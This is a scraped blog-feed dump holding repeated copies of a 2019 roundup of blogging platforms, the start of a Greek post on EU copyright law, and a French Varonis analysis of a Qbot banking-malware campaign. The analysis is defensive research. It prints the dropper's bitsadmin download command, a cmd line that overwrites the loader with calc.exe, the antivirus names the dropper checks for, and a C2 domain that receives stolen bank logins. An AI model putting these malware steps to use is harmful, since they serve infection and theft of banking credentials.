It focuses on the more concise end of the spectrum, with an emphasis on shorter content, like just an image, or link, that can appear as more of an alternate social media platform. Content is definitely more short-form, with posts consisting of a variety of material, for example, pics, jokes, quips, Spotify tracks, and video (just remember that adult content is no longer welcome). Like a social media platform, you can also follow other blogs, and republish posts you like to your own blog. 
The pro is that Tumblr is quite simple to use, costs nothing, and is ideal for use on a mobile device. However, this is not ideal for a more developed blog, as the content remains in the Tumblr ecosystem, and there is no way to monetize it.   

You can sign up for Tumblr here

 

 
Typepad 

 
Typepad is a fully developed blogging platform, designed for the professional blogger. It offers a ton of flexibility, including the ability to publish from email, a web browser, or mobile. It also easily integrates with Google Analytics, and has its own affiliate plan. 
Typepad supports design customization with a Theme Builder for a custom look, and the option for creating your own custom template or modifying a theme with custom CSS. Typepad is also fully hosted, and has support available.  
After the initial 14-day trial, plans start at $8.95 (£8) per month for up to four blogs with unlimited storage.  

You can sign up for Typepad here


Check out the best website hosting services

from TechRadar – All the latest technology news https://ift.tt/2K7MVof</text><languageCode>en</languageCode><locationCode>jp</locationCode><coordinates /><links><link>https://www.techradar.com/news/best-web-hosting-services</link><link>https://www.blogger.com/</link><link>https://www.blogger.com/</link><link>https://www.techradar.com/news/world-of-tech/roundup/using-google-analytics-in-your-business-1094839</link><link>https://www.blogger.com/</link><link>https://www.wordpress.com/pricing</link><link>https://www.wordpress.com/pricing</link><link>https://www.wordpress.com/pricing</link><link>https://www.jekyllrb.com/</link><link>https://www.jekyllrb.com/</link><link>https://www.techradar.com/news/its-official-microsoft-acquires-github-for-dollar75-billion</link><link>https://www.jekyllrb.com/</link><link>https://www.tumblr.com/</link><link>https://www.tumblr.com/</link><link>https://www.tumblr.com/</link><link>http://www.typepad.com/pricing</link><link>http://www.typepad.com/pricing</link><link>http://www.typepad.com/pricing</link><link>https://www.techradar.com/news/best-web-hosting-services</link><link>https://www.ift.tt/2K7MVof</link></links><tags><tag>Uncategorised</tag><tag>Technology</tag><tag>TechRadar - All the latest technology news</tag></tags><images /><indexedAt>2019-03-27T16:56:51Z</indexedAt><publishedAt>2019-03-27T16:34:44Z</publishedAt><reindexedAt>2019-03-27T16:56:51Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>928360984193936193</blogId><blogName>AB Technology</blogName><blogUrl>https://abtelugutech.wordpress.com</blogUrl><blogRank>1</blogRank><authority>0</authority></post><post><id>9921918942335507120</id><author>Jonmichael Moy</author><url>https://jonmichaelmoy1.wordpress.com/2019/03/27/best-blogging-platforms-of-2019-2/</url><title>Best blogging platforms of 2019</title><text>The popularity of blogging (which originally derives from ‘personal web log’) continues, whether for profit, or just to have a voice on the web, since over a decade ago when it first captured the internet as the ‘next big thing’. Some blogs are standalone sites, but others are a more personal section that fits into a larger, corporate web site. 
In order to blog, a blogging platform is required, which takes care of formatting the content in the form of text and images, and provides a framework for getting it onto a website. The blogging platform also makes it easier for a search engine to categorize the blog entries, and to be able to take advantage of marketing and advertising opportunities. 
So before you start cranking out posts, and welcoming your virtual visitors from around the world, you need to choose the best blogging platform to suit your needs. Check out these great options. 

Weve also highlighted the best website hosting services

 

 
Blogger 

 
Ask any old-time blogger about what platform they started their blog with, and chances are theyll answer that it was Blogger. To this day, Google’s offering in the blogging space still retains several advantages, including that your existing Google account already means you have a Blogger account. 
A broke startup blog will appreciate that it is free to use, and it will even provide the blogspot.com domain name, as well as the option for a custom domain name. It is also one of the easier platforms to use, and provides a choice of templates that can be flexibly modified. 
As it is a Google offering, it easily integrates with other Google products, including Google Analytics that can provide information about your website’s visitors that should be used to help grow traffic. Also, your blog can be integrated with Google’s Adsense, that will analyze your content, and display relevant ads to monetize your blog, so you can pay for the coffee as you sit in Starbucks and blog into the night. 
With all that going for it, is there any reason not to use Blogger? Well, the problem is that as your blog grows, its simplicity means that you may outgrow Blogger at some point. In addition, it can be difficult to transition from Blogger to another platform.  

You can sign up for Blogger here

 

 
WordPress 

 
WordPress is a popular blogging platform which is used on a claimed 30% of web sites, that offers an excellent balance between ease of use, and more powerful options. 
They can handle all the details, and take care of the domain name, the security and the hosting for a one stop shopping option. WordPress offers hundreds of themes, with flexibility in fonts and options for a custom look. They also offer expert support, and credit card payments can be accepted via an available plugin. 
Pricing starts at the Personal plan for $5 (€4, £4) monthly billed annually, which removes all WordPress advertising. There is also a free tier available, which is suitable for a noncommercial blog as there is WordPress advertising, and no way you can monetize it.  

You can sign up for WordPress here

 

 
Jekyll 

 
The latest version of Jekyll (3.8.5) is a “simple, blog-aware, static site generator.” Content gets created in TXT files, which get placed into folders. Then you build your site via Liquid language templates. Jekyll then merges the content and the template together, and voila, a website is generated that can be uploaded to a server. For those that need a host, there is integration with Jekyll to host the website for free on GitHub. 
While there is a comprehensive ‘quick-start guide’ on the Jekyll website, it hardly offers the simplicity of some competing blogging platforms that can do this all from a web interface. However, the benefits that Jekyll offers are the advanced features, which include options for paginating posts, available plugins, templates, and community maintained themes. It also supports blog migration from other platforms.   
The plus here is that there is no cost to the platform, but the downside is that there is only community support, and the work takes place in the Ruby development environment, so many newbies will be put off.  

You can sign up for Jekyll here

 

 
Tumblr 

 
While some blogs are well developed, and blur the line between a blog, and a full fledged website, at the other end of things we have Tumblr. It seems to be doing something right as it claims a staggering 450+ million different blogs. 
It focuses on the more concise end of the spectrum, with an emphasis on shorter content, like just an image, or link, that can appear as more of an alternate social media platform. Content is definitely more short-form, with posts consisting of a variety of material, for example, pics, jokes, quips, Spotify tracks, and video (just remember that adult content is no longer welcome). Like a social media platform, you can also follow other blogs, and republish posts you like to your own blog. 
The pro is that Tumblr is quite simple to use, costs nothing, and is ideal for use on a mobile device. However, this is not ideal for a more developed blog, as the content remains in the Tumblr ecosystem, and there is no way to monetize it.   

You can sign up for Tumblr here

 

 
Typepad 

 
Typepad is a fully developed blogging platform, designed for the professional blogger. It offers a ton of flexibility, including the ability to publish from email, a web browser, or mobile. It also easily integrates with Google Analytics, and has its own affiliate plan. 
Typepad supports design customization with a Theme Builder for a custom look, and the option for creating your own custom template or modifying a theme with custom CSS. Typepad is also fully hosted, and has support available.  
After the initial 14-day trial, plans start at $8.95 (£8) per month for up to four blogs with unlimited storage.  

You can sign up for Typepad here


Check out the best website hosting services


Source: http://www.techradar.com/news/best-blogging-platform</text><languageCode>en</languageCode><locationCode>jp</locationCode><coordinates /><links><link>https://www.techradar.com/news/best-web-hosting-services</link><link>https://www.blogger.com/</link><link>https://www.blogger.com/</link><link>https://www.techradar.com/news/world-of-tech/roundup/using-google-analytics-in-your-business-1094839</link><link>https://www.blogger.com/</link><link>https://www.wordpress.com/pricing</link><link>https://www.wordpress.com/pricing</link><link>https://www.wordpress.com/pricing</link><link>https://www.jekyllrb.com/</link><link>https://www.jekyllrb.com/</link><link>https://www.techradar.com/news/its-official-microsoft-acquires-github-for-dollar75-billion</link><link>https://www.jekyllrb.com/</link><link>https://www.tumblr.com/</link><link>https://www.tumblr.com/</link><link>https://www.tumblr.com/</link><link>http://www.typepad.com/pricing</link><link>http://www.typepad.com/pricing</link><link>http://www.typepad.com/pricing</link><link>https://www.techradar.com/news/best-web-hosting-services</link><link>http://www.techradar.com/news/best-blogging-platform</link></links><tags><tag>Uncategorized</tag></tags><images /><indexedAt>2019-03-27T17:58:41Z</indexedAt><publishedAt>2019-03-27T16:34:29Z</publishedAt><reindexedAt>2019-03-27T17:58:41Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>15720486539256389437</blogId><blogName>Jonmichael Moy</blogName><blogUrl>https://jonmichaelmoy1.wordpress.com</blogUrl><blogRank>1</blogRank><authority>0</authority></post><post><id>3568004492558358734</id><author>Nirmallya Dey</author><url>https://nirmallyadeyofficial.wordpress.com/2019/03/27/best-blogging-platforms-of-2019-2/</url><title>Best blogging platforms of 2019</title><text>The popularity of blogging (which originally derives from ‘personal web log’) continues, whether for profit, or just to have a voice on the web, since over a decade ago when it first captured the internet as the ‘next big thing’. Some blogs are standalone sites, but others are a more personal section that fits into a larger, corporate web site. 
In order to blog, a blogging platform is required, which takes care of formatting the content in the form of text and images, and provides a framework for getting it onto a website. The blogging platform also makes it easier for a search engine to categorize the blog entries, and to be able to take advantage of marketing and advertising opportunities. 
So before you start cranking out posts, and welcoming your virtual visitors from around the world, you need to choose the best blogging platform to suit your needs. Check out these great options. 

Weve also highlighted the best website hosting services

 

 
Blogger 

 
Ask any old-time blogger about what platform they started their blog with, and chances are theyll answer that it was Blogger. To this day, Google’s offering in the blogging space still retains several advantages, including that your existing Google account already means you have a Blogger account. 
A broke startup blog will appreciate that it is free to use, and it will even provide the blogspot.com domain name, as well as the option for a custom domain name. It is also one of the easier platforms to use, and provides a choice of templates that can be flexibly modified. 
As it is a Google offering, it easily integrates with other Google products, including Google Analytics that can provide information about your website’s visitors that should be used to help grow traffic. Also, your blog can be integrated with Google’s Adsense, that will analyze your content, and display relevant ads to monetize your blog, so you can pay for the coffee as you sit in Starbucks and blog into the night. 
With all that going for it, is there any reason not to use Blogger? Well, the problem is that as your blog grows, its simplicity means that you may outgrow Blogger at some point. In addition, it can be difficult to transition from Blogger to another platform.  

You can sign up for Blogger here

 

 
WordPress 

 
WordPress is a popular blogging platform which is used on a claimed 30% of web sites, that offers an excellent balance between ease of use, and more powerful options. 
They can handle all the details, and take care of the domain name, the security and the hosting for a one stop shopping option. WordPress offers hundreds of themes, with flexibility in fonts and options for a custom look. They also offer expert support, and credit card payments can be accepted via an available plugin. 
Pricing starts at the Personal plan for $5 (€4, £4) monthly billed annually, which removes all WordPress advertising. There is also a free tier available, which is suitable for a noncommercial blog as there is WordPress advertising, and no way you can monetize it.  

You can sign up for WordPress here

 

 
Jekyll 

 
The latest version of Jekyll (3.8.5) is a “simple, blog-aware, static site generator.” Content gets created in TXT files, which get placed into folders. Then you build your site via Liquid language templates. Jekyll then merges the content and the template together, and voila, a website is generated that can be uploaded to a server. For those that need a host, there is integration with Jekyll to host the website for free on GitHub. 
While there is a comprehensive ‘quick-start guide’ on the Jekyll website, it hardly offers the simplicity of some competing blogging platforms that can do this all from a web interface. However, the benefits that Jekyll offers are the advanced features, which include options for paginating posts, available plugins, templates, and community maintained themes. It also supports blog migration from other platforms.   
The plus here is that there is no cost to the platform, but the downside is that there is only community support, and the work takes place in the Ruby development environment, so many newbies will be put off.  

You can sign up for Jekyll here

 

 
Tumblr 

 
While some blogs are well developed, and blur the line between a blog, and a full fledged website, at the other end of things we have Tumblr. It seems to be doing something right as it claims a staggering 450+ million different blogs. 
It focuses on the more concise end of the spectrum, with an emphasis on shorter content, like just an image, or link, that can appear as more of an alternate social media platform. Content is definitely more short-form, with posts consisting of a variety of material, for example, pics, jokes, quips, Spotify tracks, and video (just remember that adult content is no longer welcome). Like a social media platform, you can also follow other blogs, and republish posts you like to your own blog. 
The pro is that Tumblr is quite simple to use, costs nothing, and is ideal for use on a mobile device. However, this is not ideal for a more developed blog, as the content remains in the Tumblr ecosystem, and there is no way to monetize it.   

You can sign up for Tumblr here

 

 
Typepad 

 
Typepad is a fully developed blogging platform, designed for the professional blogger. It offers a ton of flexibility, including the ability to publish from email, a web browser, or mobile. It also easily integrates with Google Analytics, and has its own affiliate plan. 
Typepad supports design customization with a Theme Builder for a custom look, and the option for creating your own custom template or modifying a theme with custom CSS. Typepad is also fully hosted, and has support available.  
After the initial 14-day trial, plans start at $8.95 (£8) per month for up to four blogs with unlimited storage.  

You can sign up for Typepad here


Check out the best website hosting services

from TechRadar – All the latest technology news https://ift.tt/2K7MVof</text><languageCode>en</languageCode><locationCode>jp</locationCode><coordinates /><links><link>https://www.techradar.com/news/best-web-hosting-services</link><link>https://www.blogger.com/</link><link>https://www.blogger.com/</link><link>https://www.techradar.com/news/world-of-tech/roundup/using-google-analytics-in-your-business-1094839</link><link>https://www.blogger.com/</link><link>https://www.wordpress.com/pricing</link><link>https://www.wordpress.com/pricing</link><link>https://www.wordpress.com/pricing</link><link>https://www.jekyllrb.com/</link><link>https://www.jekyllrb.com/</link><link>https://www.techradar.com/news/its-official-microsoft-acquires-github-for-dollar75-billion</link><link>https://www.jekyllrb.com/</link><link>https://www.tumblr.com/</link><link>https://www.tumblr.com/</link><link>https://www.tumblr.com/</link><link>http://www.typepad.com/pricing</link><link>http://www.typepad.com/pricing</link><link>http://www.typepad.com/pricing</link><link>https://www.techradar.com/news/best-web-hosting-services</link><link>https://www.ift.tt/2K7MVof</link></links><tags><tag>Uncategorized</tag><tag>TechRadar - All the latest technology news</tag></tags><images /><indexedAt>2019-03-27T16:33:57Z</indexedAt><publishedAt>2019-03-27T16:33:01Z</publishedAt><reindexedAt>2019-03-27T16:33:57Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>11554531749704578190</blogId><blogName>Nirmallya dey</blogName><blogUrl>https://nirmallyadeyofficial.wordpress.com</blogUrl><blogRank>1</blogRank><authority>0</authority></post><post><id>18160774971290190653</id><author>Top Mobiles Bank</author><url>https://topmobilesbank.wordpress.com/2019/03/27/best-blogging-platforms-of-2019-2/</url><title>Best blogging platforms of 2019</title><text>The popularity of blogging (which originally derives from ‘personal web log’) continues, whether for profit, or just to have a voice on the web, since over a decade ago when it first captured the internet as the ‘next big thing’. Some blogs are standalone sites, but others are a more personal section that fits into a larger, corporate web site. 
In order to blog, a blogging platform is required, which takes care of formatting the content in the form of text and images, and provides a framework for getting it onto a website. The blogging platform also makes it easier for a search engine to categorize the blog entries, and to be able to take advantage of marketing and advertising opportunities. 
So before you start cranking out posts, and welcoming your virtual visitors from around the world, you need to choose the best blogging platform to suit your needs. Check out these great options. 

Weve also highlighted the best website hosting services

 

 
Blogger 

 
Ask any old-time blogger about what platform they started their blog with, and chances are theyll answer that it was Blogger. To this day, Google’s offering in the blogging space still retains several advantages, including that your existing Google account already means you have a Blogger account. 
A broke startup blog will appreciate that it is free to use, and it will even provide the blogspot.com domain name, as well as the option for a custom domain name. It is also one of the easier platforms to use, and provides a choice of templates that can be flexibly modified. 
As it is a Google offering, it easily integrates with other Google products, including Google Analytics that can provide information about your website’s visitors that should be used to help grow traffic. Also, your blog can be integrated with Google’s Adsense, that will analyze your content, and display relevant ads to monetize your blog, so you can pay for the coffee as you sit in Starbucks and blog into the night. 
With all that going for it, is there any reason not to use Blogger? Well, the problem is that as your blog grows, its simplicity means that you may outgrow Blogger at some point. In addition, it can be difficult to transition from Blogger to another platform.  

You can sign up for Blogger here

 

 
WordPress 

 
WordPress is a popular blogging platform which is used on a claimed 30% of web sites, that offers an excellent balance between ease of use, and more powerful options. 
They can handle all the details, and take care of the domain name, the security and the hosting for a one stop shopping option. WordPress offers hundreds of themes, with flexibility in fonts and options for a custom look. They also offer expert support, and credit card payments can be accepted via an available plugin. 
Pricing starts at the Personal plan for $5 (€4, £4) monthly billed annually, which removes all WordPress advertising. There is also a free tier available, which is suitable for a noncommercial blog as there is WordPress advertising, and no way you can monetize it.  

You can sign up for WordPress here

 

 
Jekyll 

 
The latest version of Jekyll (3.8.5) is a “simple, blog-aware, static site generator.” Content gets created in TXT files, which get placed into folders. Then you build your site via Liquid language templates. Jekyll then merges the content and the template together, and voila, a website is generated that can be uploaded to a server. For those that need a host, there is integration with Jekyll to host the website for free on GitHub. 
While there is a comprehensive ‘quick-start guide’ on the Jekyll website, it hardly offers the simplicity of some competing blogging platforms that can do this all from a web interface. However, the benefits that Jekyll offers are the advanced features, which include options for paginating posts, available plugins, templates, and community maintained themes. It also supports blog migration from other platforms.   
The plus here is that there is no cost to the platform, but the downside is that there is only community support, and the work takes place in the Ruby development environment, so many newbies will be put off.  

You can sign up for Jekyll here

 

 
Tumblr 

 
While some blogs are well developed, and blur the line between a blog, and a full fledged website, at the other end of things we have Tumblr. It seems to be doing something right as it claims a staggering 450+ million different blogs. 
It focuses on the more concise end of the spectrum, with an emphasis on shorter content, like just an image, or link, that can appear as more of an alternate social media platform. Content is definitely more short-form, with posts consisting of a variety of material, for example, pics, jokes, quips, Spotify tracks, and video (just remember that adult content is no longer welcome). Like a social media platform, you can also follow other blogs, and republish posts you like to your own blog. 
The pro is that Tumblr is quite simple to use, costs nothing, and is ideal for use on a mobile device. However, this is not ideal for a more developed blog, as the content remains in the Tumblr ecosystem, and there is no way to monetize it.   

You can sign up for Tumblr here

 

 
Typepad 

 
Typepad is a fully developed blogging platform, designed for the professional blogger. It offers a ton of flexibility, including the ability to publish from email, a web browser, or mobile. It also easily integrates with Google Analytics, and has its own affiliate plan. 
Typepad supports design customization with a Theme Builder for a custom look, and the option for creating your own custom template or modifying a theme with custom CSS. Typepad is also fully hosted, and has support available.  
After the initial 14-day trial, plans start at $8.95 (£8) per month for up to four blogs with unlimited storage.  

You can sign up for Typepad here


Check out the best website hosting services

from TechRadar – All the latest technology news http://www.techradar.com/news/best-blogging-platform</text><languageCode>en</languageCode><locationCode>kr</locationCode><coordinates /><links><link>https://www.techradar.com/news/best-web-hosting-services</link><link>https://www.blogger.com/</link><link>https://www.blogger.com/</link><link>https://www.techradar.com/news/world-of-tech/roundup/using-google-analytics-in-your-business-1094839</link><link>https://www.blogger.com/</link><link>https://www.wordpress.com/pricing</link><link>https://www.wordpress.com/pricing</link><link>https://www.wordpress.com/pricing</link><link>https://www.jekyllrb.com/</link><link>https://www.jekyllrb.com/</link><link>https://www.techradar.com/news/its-official-microsoft-acquires-github-for-dollar75-billion</link><link>https://www.jekyllrb.com/</link><link>https://www.tumblr.com/</link><link>https://www.tumblr.com/</link><link>https://www.tumblr.com/</link><link>http://www.typepad.com/pricing</link><link>http://www.typepad.com/pricing</link><link>http://www.typepad.com/pricing</link><link>https://www.techradar.com/news/best-web-hosting-services</link><link>http://www.techradar.com/news/best-blogging-platform</link></links><tags><tag>Uncategorized</tag><tag>TechRadar - All the latest technology news</tag></tags><images /><indexedAt>2019-03-27T18:19:50Z</indexedAt><publishedAt>2019-03-27T16:32:47Z</publishedAt><reindexedAt>2019-03-27T18:19:50Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>7958335652846195598</blogId><blogName>Top Mobiles Bank</blogName><blogUrl>https://topmobilesbank.wordpress.com</blogUrl><blogRank>1</blogRank><authority>1</authority></post><post><id>18322569762280547194</id><author>Adrien Rahmati-Georges</author><url>https://blog.varonis.fr/qbot-varonis-expose-campagne-mondiale-de-cyberattaques/</url><title>Qbot : Varonis expose une campagne mondiale de cyberattaques – des Serveurs C&amp;C compromettent activement des milliers de victimes</title><text>L’équipe de recherche en cybersécurité de Varonis a découvert une campagne mondiale de cyberattaques utilisant une nouvelle souche du malware bancaire Qbot. 
La campagne cible activement les entreprises américaines, mais a également touché des réseaux dans le monde entier – avec des victimes en Europe, en Asie et en Amérique du Sud – dans le but de voler des informations financières privées, y compris des identifiants de comptes bancaires. 
Au cours de l’analyse, nous avons remonté la trace de cette souche de Qbot et identifié le serveur de contrôle et commande (C&amp;C ou C2) actif de l’attaquant, ce qui nous a permis de déterminer l’échelle de l’attaque. 
L’observation directe du serveur C&amp;C montre que des milliers de victimes dans le monde entier sont compromises et sous contrôle actif des attaquants. Des informations supplémentaires trouvées sur le serveur C&amp;C ont révélé des traces des acteurs de la menace qui se cachent derrière cette campagne. 
L’attaque a d’abord été détectée par Varonis DatAlert qui a alerté un de nos clients nord-américains d’activités d’injection (Dropper), de mouvements latéraux internes et d’activités suspectes sur le réseau. 
Notre équipe a partagé d’autres renseignements non publics avec les autorités compétentes et fait de la divulgation responsable. 
Une nouvelle version du malware bancaire Qbot
Les acteurs de la menace ont utilisé une nouvelle variante de Qbot, un logiciel malveillant bien connu et sophistiqué conçu pour voler les identifiants bancaires. 
Qbot utilise des techniques anti-analytiques, échappe fréquemment à la détection et utilise de nouveaux vecteurs d’infection pour rester en avance sur les défenseurs. 
Le logiciel malveillant est polymorphe, ou en constante évolution : 

Il crée des fichiers et des dossiers avec des noms aléatoires
Son injecteur change fréquemment de serveur C2
Le lanceur (loader) de malware change lorsqu’il y a une connexion Internet active (nous y reviendront)

Le Qbot (ou Qakbot) a été identifié pour la première fois en 2009 et a beaucoup évolué. 
Il est principalement conçu pour la collecte de données relatives à l’activité de navigation et aux sites Web financiers. Ses capacités reproduisant celles d’un ver informatique lui permettent de se propager à travers le réseau d’une organisation et d’infecter d’autres systèmes. 
Sa découverte
Notre équipe de criminalistique (forensics) a commencé à enquêter après avoir reçu un appel d’un client dont la récente implémentation de DatAlert les avait alertés d’une activité inhabituelle dans leurs systèmes. Notre équipe a déterminé qu’au moins un ordinateur avait été infecté par un logiciel malveillant et que celui-ci tentait de se propager à d’autres systèmes du réseau. 
Un échantillon a été extrait et envoyé à notre équipe de recherche pour analyse, qui a identifié le malware comme une variante de Qbot/Qakbot. L’échantillon ne correspondait à aucun hash existant, et une enquête plus poussée a révélé qu’il s’agissait d’une nouvelle souche. 
Phase 1 – L’Injecteur
Nom du fichier : REQ_02132019b.doc.vbs 
 
Dans les versions précédentes de Qbot, le premier lanceur était un macro document Word. 
Un fichier zip avec une extension .doc.vbs a été trouvé au cours de notre enquête, indiquant que la première infection a probablement été effectuée via un courriel d’hameçonnage (Phishing) qui a incité la victime à exécuter le fichier VBS malveillant. 
Lors de l’exécution, le VBS extrait la version de l’OS de l’ordinateur de la victime et tente de détecter les logiciels antivirus courants installés sur le système. 
Les chaînes de caractère AV que le logiciel malveillant cherche à inclure sont : Defender, Virus, Antivirus, Malw, Trend, Kaspersky, Kav, Mcafee, Antivirus, symantec 
Dans cette variante, le malware utilise BITSAdmin pour télécharger le lanceur. 
Cela semble être un nouveau comportement, car les échantillons précédents utilisaient PowerShell. 
BITSAdmin télécharge le lanceur à partir de l’une des URL suivantes : 
 
Télécharger le lanceur à l’aide de BITSAdmin à partir du code VBS : 
intReturn = wShell.Run(‘bitsadmin /transfer qahdejob’ &amp; Second(Now) &amp; ‘ /Priority HIGH ‘ &amp; el &amp; urlStr &amp; ‘ ‘ &amp; tempFile, 0, True) 
Phase 2 – Persistance du malware et injection dans explorer.exe
Nom du fichier : widgetcontrol.png 
 
Le lanceur, qui exécute le logiciel malveillant principal, possède plusieurs versions et est constamment mis à jour, même après l’exécution. La version que la victime reçoit en cas d’infection dépend du paramètre sp (Stored Procedures) qui est codé en dur dans le fichier VBS. 
Un point intéressant est que chaque version du lanceur est signée avec un certificat numérique différent. Les certificats valides indiquent généralement qu’un fichier est digne de confiance, alors que les exécutables non signés sont suspects. 
Qbot est connu pour utiliser des certificats numériques faux ou volés, valides pour gagner en crédibilité et échapper à la détection sur le système d’exploitation. 
Nous avons téléchargé toutes les versions disponibles du chargeur (voir IOCs ci-dessous) et cartographié les certificats. 
Certificats utilisés par le malware : 

Saiitech Systems Limited
ECDJB Limited
Hitish Patel Consulting Ltd
Doorga Limited
INTENTEK LIMITED
Austek Consulting Limited
IO Pro Limited
Vercoe IT Ltd
Edsabame Consultants Ltd
SOVA CONSULTANCY LTD

  
Exemple de l’un des certificats : 
 
Persistance
Lors de la première exécution, le chargeur se copie dans %Appdata%\Roaming\{Chaîne aléatoire} et crée ensuite ce qui suit : 
 
Explorer.exe Injecté
Le chargeur lance un processus explorer.exe 32 bits et injecte ensuite les charges utiles principales. 
Voici la mémoire d’explorer.exe avec la charge utile injectée comme segment de mémoire RWX : 
 
Après l’injection, le chargeur écrase son exécutable d’origine avec la version 32 bits de calc.exe : 
“C:\Windows\System32\cmd.exe” /c ping.exe -n 6 127.0.0.1 &amp; type 
“C:\Windows\System32\calc.exe” &gt; C:\Users\{TKTKTK}\Desktop\1.exe 
Phase 3 – Mouvements latéraux et vol d’argent
Après avoir garanti leur persistance, les principales charges utiles commencent à attaquer en brute-force les comptes sur le réseau. 
Si le logiciel malveillant compromet un compte de domaine, il énumère le groupe “Domain Users” et force les comptes de la même manière. 
Si le compte compromis est un compte local, le malware utilise une liste prédéfinie d’utilisateurs locaux. 
Les tentatives d’authentification utilisent NTLM et l’API WNetAddConnection. 
Nous avons extrait les noms d’utilisateur et les mots de passe utilisés par le malware pour tenter de forcer les comptes locaux (voir ici). Le logiciel malveillant cache ces dictionnaires de l’analyse statique, mais ils peuvent être extraits pendant l’exécution. 
Image X32dbg d’explorer.exe essayant de se connecter à un ordinateur distant avec le nom d’utilisateur “Administrator” et le mot de passe “12345678” : 
 
Montrez-moi l’argent
Le but principal de Qbot est de voler de l’argent à ses victimes ; il utilise plusieurs méthodes pour renvoyer des informations financières, d’identification et autres au serveur de l’attaquant : 

Enregistrement de frappe (Keylogging) – Qbot capture chaque frappe que la victime entre et les envoie à l’attaquant.
Identifiants/cookies – Qbot recherche les identifiants/cookies enregistrés dans les navigateurs et les envoie à l’attaquant.
Hooking – la charge utile principale injecte à tous les processus dans le système, un code qui relie les appels API et les recherches pour des chaines de caractères financiers / bancaires. 
Le malware extrait ensuite les données, les informations d’identification, ou les cookies de session du processus et le télécharge vers le pirate.

L’image montre que lors de l’authentification sur le site bancaire buisnessline.huntington.com, le malware envoie les données POST et les cookies de session au serveur C2 content.bigflimz.com : 
 
Au sein du serveur C&amp;C de l’attaquant
Sur l’un des sites de l’attaquant, nous avons pu trouver des fichiers de journaux contenant les adresses IP des victimes, les détails du système d’exploitation et les noms des produits antivirus. 
Le serveur C&amp;C a révélé des activités passées, ainsi que ce qui semble être des versions supplémentaires de logiciels malveillants (tableau des versions dans la section IOC, ci-dessous). 
 
Certains des résultats peuvent contenir des doublons, mais ci-dessous se trouvent les 10 premiers pays, les produits anti-virus et les systèmes d’exploitation trouvés. Vous pouvez également trouver l’ensemble complet des données dans notre dépôt Github. 
Victimes par Pays
 
Nous avons trouvé 2 726 adresses IP uniques de victimes. 
Comme de nombreuses organisations utilisent la traduction d’adresses de port qui masque les adresses IP internes, le nombre de victimes est probablement beaucoup plus élevé. 
Victimes par Antivirus
  
Victimes par Système d’Exploitation
  
IOCs
Les IOC peuvent être trouvés sur Github ici. 
Versions du Lanceur
La liste complète se trouve ici. 
  
– Merci infiniment à Dolev Taler &amp; Eric Saraga, chercheurs en Cybersécurité chez Varonis, et auteurs de la version originale anglaise de cet article du Blog. 
The post Qbot : Varonis expose une campagne mondiale de cyberattaques – des Serveurs C&amp;C compromettent activement des milliers de victimes appeared first on Varonis Blog.</text><languageCode>fr</languageCode><locationCode>fr</locationCode><coordinates /><links><link>https://www.itespresso.fr/qbot-malware-sauter-banque-79997.html</link><link>https://www.zendata.ch/fr/actualite/lexique/c-c</link><link>https://sites.varonis.com/fr/produits/datalert</link><link>https://fr.wikipedia.org/wiki/Injecteur_(informatique)</link><link>https://www.varonis.com/blog/penetration-testing-explained-part-iv-making-the-lateral-move</link><link>https://www.reddit.com/r/Malware/comments/3gpv3h/what_is_a_loader/?st=J3913QHW&amp;sh=bd52a07a</link><link>https://fr.wikipedia.org/wiki/Ver_informatique</link><link>https://fr.wikipedia.org/wiki/Informatique_légale</link><link>https://blog.emsisoft.com/fr/6799/qu-est-ce-qu-un-hash</link><link>https://docs.microsoft.com/en-us/windows/desktop/bits/bitsadmin-tool</link><link>https://www.github.com/varonis/qbot-analysis/blob/master/brute-force-dictionary.txt</link><link>https://www.github.com/varonis/qbot-analysis</link><link>https://www.github.com/varonis/qbot-analysis/blob/master/ioc.txt</link><link>https://www.github.com/varonis/qbot-analysis/blob/master/loader-versions.csv</link><link>https://www.varonis.com/blog/varonis-discovers-global-cyber-campaign-qbot</link></links><tags><tag>Avantages pour l’IT</tag><tag>Sécurité des données</tag><tag>cyber attack</tag><tag>malware</tag><tag>Qbot</tag></tags><images /><indexedAt>2019-03-27T18:06:13Z</indexedAt><publishedAt>2019-03-27T16:32:03Z</publishedAt><reindexedAt>2019-03-27T18:06:13Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>5145982658652487486</blogId><blogName>Varonis Blog</blogName><blogUrl>https://blog.varonis.fr</blogUrl><blogRank>1</blogRank><authority>2</authority></post><post><id>11807931762490260317</id><author>Πες Το GR</author><url>http://pestogr.blogspot.com/2019/03/blog-post_7573.html</url><title>Αλλάζουν τα πάντα για τα πνευματικά δικαιώματα στο διαδίκτυο - Όλες οι αλλαγές που εγκρίθηκαν</title><text>Η ευρύτατη επιστημονική διαφωνία με μία αμφιλεγόμενη νομοθεσία δεν είναι κάτι που συμβαίνει συχνά. Κι όταν συμβαίνει, οι νομοθέτες οφείλουν να το λάβουν υπόψιν τους...    Στην περίπτωση της νέας Οδηγίας για τα Πνευματικά Δικαιώματα, που ψηφίστηκε την Τρίτη από το Ευρωπαϊκό Κοινοβούλιο, συνέβη ακριβώς το αντίθετο. Η πλειοψηφία των ευρωβουλευτών μας παραμέρισαν τις προειδοποιήσεις σύσσωμης της επιστημονικής κοινότητας του Ιντερνετ και άνοιξαν την πόρτα για να μπουν τα αμφιλεγόμενα άρθρα 11 και 13 στην καθημερινή, ευρωπαϊκή ζωή μας.  Τα δύο επίμαχα άρθρα της νέας Οδηγίας ναι μεν έχουν καλές προθέσεις, αλλά η εφαρμογή τους, σύμφωνα με τις επιστημονικές προειδοποιήσεις, θα προκαλέσει εμπλοκή στη θεμελιώδη δυναμική του Ιντερνετ, με αποτέλεσμα σοβαρούς περιορισμούς στην ελευθερία της έκφρασης και της πρόσβασης στην πληροφορία στην Ευρώπη.  Η νέα Οδηγία υποχρεώνει τις διαδικτυακές πλατφόρμες να φιλτράρουν το περιεχόμενο που ανεβάζουν οι χρήστες τους, για να βεβαιωθούν ότι ο κάθε χρήστης έχει τα πνευματικά δικαιώματα αυτού που ανεβάζει, ούτως ώστε να μην μπλέξουν νομικά. Τα meme μπορεί να εξαιρούνται, αλλά δεν σώζουν την κατάσταση.  Οι ευρωβουλευτές μας πιστεύουν ότι η νέα Οδηγία για τα Πνευματικά Δικαιώματα είναι ένα σημαντικό βήμα στην προσπάθειά τους να χαλιναγωγήσουν τους αμερικανικούς γίγαντες της Τεχνολογίας, στους οποίους αποδίδουν την 